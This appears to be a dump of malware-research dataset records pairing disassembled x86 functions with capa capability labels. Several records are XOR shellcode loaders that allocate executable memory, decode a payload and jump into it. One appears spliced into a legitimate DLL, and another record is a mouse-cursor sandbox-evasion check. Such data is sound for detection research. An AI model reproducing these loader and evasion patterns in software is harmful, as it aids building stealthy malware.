joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000655b
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi - 0x6c]
mov ecx, esi
call fcn.100071f7
test eax, eax
jne 0x1000657b
mov eax, 0x80070005
jmp 0x100065ec
push esi
mov ecx, esi
call fcn.100071f7
test eax, eax
js 0x100065ea
cmp dword [edi + 0x44], 0
je 0x100065ea
and dword [ebp + 8], 0
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.100099b8
test eax, eax
je 0x100065c7
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [eax + 8], 0
mov dword [eax], vtable.CNameShowContactCardJob.0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
jmp 0x100065c9
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.100071f7
mov esi, dword [ebp + 8]
test esi, esi
je 0x100065ea
mov ecx, dword [edi + 0x44]
push esi
call fcn.100071f7
test eax, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor eax, eax
pop edi
pop esi
leave
ret 4

Function at 0x100071f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10007206
pop dword [ebp - 0x14]
mov eax, 0x10007206
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3808a
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x46e0
xor edx, edx
add edx, eax
mov ebx, 0x96d6c3be
sub ebx, 0x86d571be
add ebx, dword [ebp - 0x14]
mov edi, 0xb7b23750
add edi, 0x8383818a
xor dword [ebp - 8], 0x9b8228bd
mov esi, dword [ebx]
sub dword [ebp - 8], ebx
add esi, edi
sub dword [ebp - 0xc], 0xdf39bac8
mov dword [edx], esi
sub dword [ebp - 8], 0xcdb0e40e
add edx, 0x15c88c86
add edx, 0xea37737e
add ebx, 0xd59b66ee
sub ebx, 0xd59b66ea
loop 0x10007257
add eax, 0x254c857b
add eax, 0xdab488d8
xor ebx, ebx
add ebx, eax
add eax, 0x2f615452
add eax, 0xd09eabb3
mov ecx, 0xcd4ae28d
add ecx, 0x42b51d73
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0xe296f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x188000]
push edi
jmp 0xe2970a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xe29711
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe29700
mov eax, 1
add ebx, ebx
jne 0xe29723
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xe29734
jne 0xe29753
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe29753
dec eax
add ebx, ebx
jne 0xe29740
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xe29718
add ebx, ebx
jne 0xe2974f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xe297a5
xor ecx, ecx
sub eax, 3
jb 0xe2976b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xe297da
sar eax, 1
mov ebp, eax
jmp 0xe29776
add ebx, ebx
jne 0xe29776
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe29744
inc ecx
add ebx, ebx
jne 0xe29784
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe29744
add ebx, ebx
jne 0xe29791
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xe29786
jne 0xe297a2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe29786
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xe297c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xe297b6
jmp 0xe29706
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xe297c4
add edi, ecx
jmp 0xe29706
pop esi
mov edi, esi
mov ecx, 0x6c1f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xe297e2
cmp byte [edi], 0x24
jne 0xe297e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xe297e7
lea edi, [esi + 0xa26000]
mov eax, dword [edi]
or eax, eax
je 0xe2985f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa2bdf4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa2bf18]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xe29814
mov ecx, edi
jns 0xe29843
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa2bf20]
or eax, eax
je 0xe29859
mov dword [ebx], eax
add ebx, 4
jmp 0xe29831
call dword [esi + 0xa2bf1c]
mov ebp, dword [esi + 0xa2bf24]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xe29893
sub esp, 0xffffff80
jmp 0x4e2b9e
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x403024
pop dword [ebp - 0x4c]
mov eax, 0xf8cae53c
sub eax, 0xf88ab518
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x1616a10b
add dword [ebp - 0x5c], 0x383ba440
mov dword [ebp - 0x58], 0x782284ae
add dword [ebp - 0x58], 0xba10c797
mov dword [ebp - 0x54], 0x77bad797
add dword [ebp - 0x54], 0xd4916c97
mov dword [ebp - 0x50], 0x4a42dd66
sub dword [ebp - 0x50], 0x4a42dd66
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xb696bb2b
add eax, 0x49a9c54d
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x6338fe5f
sub dword [ebp - 0x5c], 0xeec69509
mov dword [ebp - 0x58], 0x235acc33
add dword [ebp - 0x58], 0x1e119542
mov dword [ebp - 0x54], 0xbd8fc6f7
add dword [ebp - 0x54], 0xa5dfa575
mov dword [ebp - 0x50], 0x67ecd6bc
add dword [ebp - 0x50], 0x98132944
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xb57f3bb1
add eax, 0x4ac144cb
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x34aa4
push 0
call eax
mov ecx, 0x7ba0497f
add ecx, 0x845ff503
xor esi, esi
add esi, eax
mov edx, 0xd569560f
add edx, 0x2adc2bf1
add edx, dword [ebp - 0x4c]
mov ebx, 0x51e7096c
add dword [ebp - 0xc], esi
mov edi, dword [edx]
add dword [ebp - 0x10], 0x20ce40c1
xor edi, ebx
xor dword [ebp - 0x3c], 0x38208c7b
mov dword [esi], edi
sub dword [ebp - 0x1c], 0xbc31305e
add esi, 0x578bcdae
add esi, 0xa8743256
add edx, 0x66fcad8f
sub edx, 0x66fcad8b
loop 0x403142
add eax, 0xba4d97aa
add eax, 0x45b35531
xor ebx, ebx
add ebx, eax
add eax, 0x45fba3bf
sub eax, 0x45fba3ba
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10006762
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x1005f070]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10060d58], 0
jne 0x10006812
and dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push esi
push eax
push 0x20019
push ecx
mov edx, str.SOFTWAREMicrosoftInternet_Explorer
mov dword [ebp - 0x70], 0x64
mov ecx, 0x80000002
call fcn.10026806
xor esi, esi
inc esi
test eax, eax
jne 0x100067fc
movzx eax, byte [ebp - 0x68]
xor ecx, ecx
cmp dword [ebp - 0x74], esi
cmove eax, ecx
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
push str.Version
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x100067fc
cmp word [ebp - 0x68], ax
je 0x100067fc
push 0xa
pop edx
lea ecx, [ebp - 0x68]
call fcn.10026806
mov ecx, dword [0x10060d54]
cmp eax, 4
cmova ecx, esi
mov dword [0x10060d54], ecx
cmp dword [ebp - 0x6c], 0
mov dword [0x10060d58], esi
pop esi
je 0x10006812
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [0x10060d54]
xor ecx, ebp
call fcn.1002f764
leave
ret
Function at 0x10009b64
Capabilities:
Delete registry value

Disassembly:
push 0x1c
mov eax, 0x10031761
call fcn.10030d83
mov ebx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x18]
mov edx, str.SOFTWARE
push eax
lea eax, [ebp - 0x28]
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
mov edx, 0x10036e08
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
mov edx, str.Internet_Explorer
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
cmp dword [ebp + 8], edi
mov eax, str.Default_HTML_Editor
mov ecx, dword [ebp - 0x14]
mov esi, str.Default_MHTML_Editor
cmove esi, eax
mov edx, esi
call fcn.1000b7bc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
mov edx, esi
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
mov edx, 0x10036e40
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
mov edx, 0x100364c0
push eax
sub esp, 0x14
call fcn.10026806
test eax, eax
jne 0x10009c8d
push str.Description
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0x1c]
xor esi, esi
push esi
mov ecx, ebx
call fcn.10026806
call fcn.10006762
test eax, eax
je 0x10009c8a
push esi
push esi
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendNotifyMessageW]
xor edi, edi
inc edi
cmp dword [ebp - 0x1c], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10009c9e
push dword [ebp - 0x1c]
call esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x20], ebx
je 0x10009cad
push dword [ebp - 0x20]
call esi
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x10], ebx
je 0x10009cba
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x10009cc7
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x24], ebx
je 0x10009cd4
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], ebx
je 0x10009ce1
push dword [ebp - 0x28]
call esi
mov eax, edi
call fcn.10030d61
ret 4
Function at 0x1000eae7
Capabilities:
Create process on windows

Disassembly:
push 0x90
mov eax, 0x10031b12
call fcn.10030db7
mov edi, edx
mov eax, dword [ebp + 0x20]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x68], eax
xor esi, esi
mov eax, dword [ebp + 0x24]
mov ebx, esi
mov dword [ebp - 0x64], eax
call fcn.10026806
push eax
push ecx
push dword [0x10038130]
lea ecx, [ebp - 0x7c]
call fcn.10026806
push 7
mov dword [ebp - 4], esi
xor eax, eax
pop ecx
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], ecx
mov word [ebp - 0x60], ax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], ecx
mov word [ebp - 0x48], ax
mov byte [ebp - 4], 2
call fcn.10021463
test al, al
je 0x1000ebb9
call fcn.10026806
test al, al
jne 0x1000ebb9
test edi, edi
je 0x1000ec68
cmp word [edi], si
je 0x1000ec68
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x1000eb68
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea ecx, [ebp - 0x48]
call fcn.10026806
lea edx, [ebp - 0x48]
lea ecx, [ebp - 0x28]
call fcn.10026806
push eax
lea ecx, [ebp - 0x60]
call fcn.10026806
lea ecx, [ebp - 0x28]
call fcn.1000ccca
cmp dword [ebp - 0x50], 0
je 0x1000ebb9
cmp dword [ebp - 0x4c], 8
lea ebx, [ebp - 0x60]
lea edi, [ebp - 0x48]
cmovae ebx, dword [ebp - 0x60]
cmp dword [ebp - 0x34], 8
cmovae edi, dword [ebp - 0x48]
push dword [ebp - 0x64]
push dword [ebp - 0x68]
push esi
push esi
push 0x400
push esi
push esi
push esi
push edi
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
mov esi, eax
test esi, esi
je 0x1000ec36
lea ecx, [ebp - 0x9c]
call fcn.10026806
push eax
push ecx
push dword [0x1003812c]
lea ecx, [ebp - 0x24]
call fcn.10026806
cmp byte [ebp - 0x24], 0
je 0x1000ec36
mov ecx, dword [ebp - 0x14]
call fcn.10026806
mov edi, eax
test edi, edi
je 0x1000ec36
cmp byte [ebp - 0x1c], 0
je 0x1000ec22
mov ecx, dword [ebp - 0x14]
call fcn.10026806
test eax, eax
je 0x1000ec22
mov ecx, dword [ebp - 0x18]
mov edx, eax
call fcn.10026806
push dword [ebp - 0x14]
xor cl, cl
call fcn.10026806
mov ecx, dword [ebp - 0x20]
mov edx, edi
call fcn.10026806
xor eax, eax
mov dword [ebp - 0x20], vtable.Mso::Logging::StructuredObject_unsigned_int__1_.0
mov word [ebp - 0x14], ax
mov edx, 0x851
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], str.Param
push eax
push str.HevCreateProcess_
push ecx
push 0x64
mov ecx, 0x170b0c5
mov dword [ebp - 0x18], esi
call fcn.10026806
lea ecx, [ebp - 0x48]
call fcn.1000ccca
lea ecx, [ebp - 0x60]
call fcn.1000ccca
cmp byte [ebp - 0x7c], 0
je 0x1000ecbc
mov ecx, dword [ebp - 0x6c]
call fcn.10026806
mov edi, eax
test edi, edi
je 0x1000ecbc
cmp byte [ebp - 0x74], 0
je 0x1000eca8
mov ecx, dword [ebp - 0x6c]
call fcn.10026806
test eax, eax
je 0x1000eca8
mov ecx, dword [ebp - 0x70]
mov edx, eax
call fcn.10026806
push dword [ebp - 0x6c]
xor cl, cl
call fcn.10026806
mov ecx, dword [ebp - 0x78]
mov edx, edi
call fcn.10026806
mov eax, esi
call fcn.10030d76
ret 0x20
Function at 0x1001d0a2
Capabilities:
Get thread local storage value

Disassembly:
push 8
mov eax, 0x100323df
call fcn.10030d83
cmp byte [0x100604ac], 0
push dword [0x100604a8]
je 0x1001d0c5
call dword [sym.imp.kernel32.dll_FlsGetValue]
jmp 0x1001d0cb
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x1001d114
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x1001d11c
mov dword [ebp - 0x10], esi
xor edi, edi
mov dword [ebp - 4], edi
push 8
pop ecx
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.1000ccf7
mov dword [esi], eax
push esi
mov dword [eax], edi
mov dword [eax + 4], edi
mov ecx, dword [esi]
mov dword [ecx], esi
mov ecx, 0x100604a8
call fcn.10026806
mov eax, esi
call fcn.10030d61
ret
call fcn.10026806
int3
Function at 0x10026806
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10026815
pop dword [ebp - 0x1c]
mov eax, 0x1d7afbad
add eax, 0xf2876c68
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x46ee03fc
add dword [ebp - 0x2c], 0x764414f
mov dword [ebp - 0x28], 0x46dd608f
add dword [ebp - 0x28], 0xeb55ebb6
mov dword [ebp - 0x24], 0x94e6b6e4
sub dword [ebp - 0x24], 0x489a72b6
mov dword [ebp - 0x20], 0xbc114353
sub dword [ebp - 0x20], 0xbc114353
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xa635fb83
add dword [ebp - 0x2c], 0xce3c6dd3
mov dword [ebp - 0x28], 0xf4c2e5c2
add dword [ebp - 0x28], 0x4ca97bb3
mov dword [ebp - 0x24], 0xfabdef83
sub dword [ebp - 0x24], 0x974e8317
mov dword [ebp - 0x20], 0xa000039
sub dword [ebp - 0x20], 0xa000039
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x81409969
sub eax, 0x713d58e5
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x409f0
push 0
call eax
mov ecx, 0xa0926a41
add ecx, 0x5f6ddac0
mov ebx, eax
mov esi, 0x30f74cfc
add esi, 0xdf0f3b04
add esi, dword [ebp - 0x1c]
mov edx, 0xb57c4e4d
sub edx, 0x4246260f
mov edi, dword [esi]
xor dword [ebp - 0x14], 0xa77baf69
xor edi, edx
xor dword [ebp - 4], 0x68390c02
mov dword [ebx], edi
xor dword [ebp - 8], eax
add ebx, 4
add esi, 4
loop 0x10026932
add eax, 0x3c38b3b4
sub eax, 0x3c37acdd
mov ebx, eax
add eax, 0x5251c044
sub eax, 0x5251c03f
mov ecx, 0x13beaed0
sub ecx, 0x3beaed0
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000c455
pop dword [ebp - 0xc]
mov eax, 0x3499be53
sub eax, 0x2498f9fe
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x394b9
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x9baf86c3
add ecx, 0x6450c284
mov ebx, eax
mov edi, 0xd6813e0f
sub edi, 0xc67fb80f
add edi, dword [ebp - 0xc]
mov edx, 0x4baf6841
add edx, 0xfc68e19b
xor dword [ebp - 4], edx
mov esi, dword [edi]
add dword [ebp - 8], 0x839cdc8c
xor esi, edx
xor dword [ebp - 4], 0x15c17031
mov dword [ebx], esi
add dword [ebp - 4], edi
add ebx, 0xbfdbaa83
add ebx, 0x40245581
add edi, 0x4df9ff69
sub edi, 0x4df9ff65
loop 0x1000c4af
add eax, 0xc3b5d620
sub eax, 0xc3b4be31
xor ebx, ebx
add ebx, eax
add eax, 0x7663df2b
add eax, 0x899c20da
mov ecx, 0xbc905d6
sub ecx, 0xfbc905d6
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x402f90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x46c020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403028
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403008
xor eax, eax
push ebp
push 0x403001
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403044
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403008
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x46c020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x46c020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403cf4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46e04c], 0
je 0x403d55
cmp word [0x46e220], 0xd7b2
jne 0x403d1d
cmp dword [0x46e228], 0
jbe 0x403d1d
mov eax, 0x46e21c
call dword [0x46e238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x46c06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403d7c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46c030], 0
jne 0x403d71
push 0
push 0x46c064
push 0x46c06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405ca8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405d0e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004040e0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402b54
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405cf8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d15
lea eax, [ebp - 0x10]
call fcn.00403e70
ret

Function at 0x40ae0c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae45
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403f60
jmp 0x40ae4e
mov eax, ebx
mov edx, esi
call fcn.00403ec4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40ae58
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40ae79
mov al, byte [esp]
jmp 0x40ae7b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b500
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b378
mov eax, dword [0x46da10]
cmp byte [eax], 0
je 0x40b57c
mov eax, dword [0x46d810]
call fcn.004029c0
call fcn.00402834
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040864c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b5c4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b5b2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x46d7bc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x46e668]
call fcn.004051bc
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret